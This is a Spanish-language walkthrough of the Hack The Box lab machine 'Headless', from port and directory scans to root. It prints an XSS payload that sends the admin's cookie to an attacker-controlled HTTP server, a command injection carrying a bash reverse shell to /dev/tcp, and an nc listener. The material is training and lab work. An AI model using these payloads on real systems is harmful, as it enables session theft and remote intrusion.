ANTES DE VER EL WRITEUP ES RECOMENDABLE QUE PRUEBES A REALIZAR TÚ EL RETO>
WRITEUP HEADLESS - HACK THE BOX #
CONFIGURACIÓN #
Antes de comenzar la máquina vamos a asignar la dirección de IP junto su DNS.
❯ sudo nano /etc/hosts
INTRUSIÓN #
Para iniciar correctamente la máquina será necesario realizar una breve comprobación de que puertos se encuentran activos, para ello, vamos a utilizar el comando “nmap”.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.11.8 -oG allPorts
PUERTOS ABIERTOS #
PUERTO | SERVICIO |
---|---|
22 | SSH |
5000 | UPNP (PUERTO WEB HTTP) |
EXPLOTACIÓN WEB #
Vamos a utilizar la herramienta “Gobuster” para poder enumerar posibles directorios que pueden salir en la web.
❯ gobuster dir -u http://10.10.11.8:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,html
DIRECTORIOS HALLADOS #
-
Support
-
Dashboard
Cuando accedemos al primer directorio “Support” encontramos un formulario, nos llama la atención que podríamos probar un XSS.
<script>
var email = prompt("Porfavor, introduce tu correo electronico","example@exaple.com");
if (email == null || email == ""){
alert("Es necesario introducir un correo valido");
} else {
fetch("http://192.168.1.24/?email=" + email);
}
</script>
Vemos que podría ser posible realizar XSS para la obtención de la credencial de administración. Vamos a utilizar “Burpsuite” para interceptar la petición y revisar si es posible continuar con la inyección.
Una vez nos encontramos en el repeater, vamos a realizar la inyección para obtener la credencial de administrador, para ello, vamos a crear un servidor en Pyhton para que las credenciales puedan llegar.
❯ python3 -m http.server 80
<script>
var request = new XMLHttpRequest();
request.open('GET', 'http://localhost/?coockie=' + document.cookie);
request.send();
</script>
Ahora ya podremos acceder al otro directorio (Dashboard) pero deberemos de autenticarnos como admin con su cookie. Recargamos la página para poder acceder como Admin.
Ya estariamos dentro, como vemos si pulsamos el botón, genera otra petición, por lo cual vamos a repetir el proceso de antes interceptando la petición. Podría ser un posible OS Command Injection, vamos a ver si funciona para posterior explotación.
date=xx;"PARAMETRO"
Como vemos, si es vulnerable a Command Injection, por lo cual vamos a ver si podemos inyectar una reverse shell para poder ganar acceso al sistema.
❯ nc -nlvp 443
❯ bash+-c+"bash+-i+>%26+/dev/tcp/IP-ATACANTE/PUERTO-ESCUCHA+0>%261"
Como vemos, ha salido satisfactoriamente el RCE, lo que significa que ya podemos movernos por el sistema que hemos comprometido, sin antes realizar el tratado de terminal para que sea más cómodo.
❯ stty raw -echo; fg
❯ ^Z
❯ reset
❯ xterm
❯ stty size
❯ stty rows 22 columns 90
❯ export TERM=xterm
ESCALADA DE PRIVILEGIOS #
USER FLAG #
ROOT FLAG #
Como vemos en la siguiente imagen, se trata de una escalada de privilegios sudoer, hay que conseguir ejecutarlo para convertirnos en root.
El archivo sudoer llama a un script llamado “initdb.sh” deberemos de lograr ejecutar ese script para poder convertirnos en usuario root, para ello vamos a acceder en e script.
Como observamos, ya somos root y ya podemos obtener nuestra root flag.